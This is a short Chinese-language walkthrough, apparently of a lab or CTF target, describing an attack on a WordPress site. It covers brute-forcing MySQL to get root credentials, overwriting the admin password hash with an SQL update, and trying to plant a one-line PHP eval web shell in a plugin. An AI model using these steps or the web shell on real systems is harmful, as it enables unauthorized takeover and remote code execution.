对wordpress进行暴力破解，发现无法爆破。

于是爆破MySQL端口，找到账号密码：root/robert

查询wordpress的后台登录密码

不过无法破解到密码，于是直接更改密码的哈希的密码为password。

MariaDB [wordpress_db]> update wp_users set user_pass="5f4dcc3b5aa765d61d8327deb882cf99" WHERE ID=1;
Query OK, 1 row affected (0.003 sec)

登录wordpress后台

在插件添加一句话木马

<?php @eval($_GET["cmd"]); ?>

但是无法保存成功。
